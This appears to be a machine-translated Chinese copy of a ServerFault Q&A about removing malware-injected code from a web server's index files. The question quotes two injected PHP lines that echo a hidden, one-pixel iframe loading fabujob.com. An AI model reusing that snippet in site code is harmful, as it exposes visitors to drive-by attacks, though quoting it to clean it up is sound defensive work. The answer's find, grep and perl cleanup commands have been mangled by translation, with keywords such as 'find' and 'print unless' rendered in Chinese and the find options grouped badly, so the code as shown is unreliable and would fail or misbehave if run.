Ftp

搜尋 index.php 和 index.html 並替換字元串

  • May 21, 2019

我最近在我的電腦上安裝了某種惡意軟體,它添加到網路伺服器上的所有 index.php 和 index.html 中!以下字元串:

echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

所以“click=”後面的參數總是變化的。這兩個只是例子。

有沒有辦法快速快速地做到這一點?

.

.

編輯:它在我的網路伺服器上,所以沒有使用 find…

一種簡單的方法是使用 find 和 grep,加上 perl 來進行編輯。

首先,建構一個已被洩露的文件名列表:

查找 /path/to/web/site -name 'index.htm*' -o -name 'index.php' -print0 | \
xargs -0 grep -l 'iframe src.*fabujob\.com' > /tmp/compromised-files.txt

接下來,使用 perl 編輯文件並刪除漏洞:

cat /tmp/compromised-files.txt | \
xargs -d '\n' perl -n -i.BAK -e '列印除非 m/fabujob\.com/i'

(是的,對於 UUOC 學究來說,這是對 Cat 的無用使用,但它使範例更易於閱讀和理解)

這將從每個受感染的文件中刪除包含字元串“fabujob.com”的每一行。它還將每個文件的備份保存為 filename.BAK,以便在出現問題時輕鬆恢復它們。當您不再需要它們時,您應該刪除它們。

此 perl 腳本基於您提供的範例,該範例似乎表明攻擊添加了包含漏洞利用的整行,因此此腳本會列印除包含漏洞利用 URL 的行之外的每一行。如果實際情況並非如此,那麼您將不得不想出一個更合適的腳本:)

這是一種通用技術,可用於對一批文件進行任何自動編輯。您可以使用任何 perl 程式碼來完成這項工作,而且 perl 具有大量的文本操作功能。

順便說一句,在進行此類工作時,請始終複製所涉及的整個目錄樹並首先進行處理。這樣,如果你搞砸了 perl 編輯腳本也沒關係……只需將原始文件同步回工作目錄即可。一旦你的腳本完全正確,你就可以在真實文件上執行它。

引用自:https://serverfault.com/questions/42393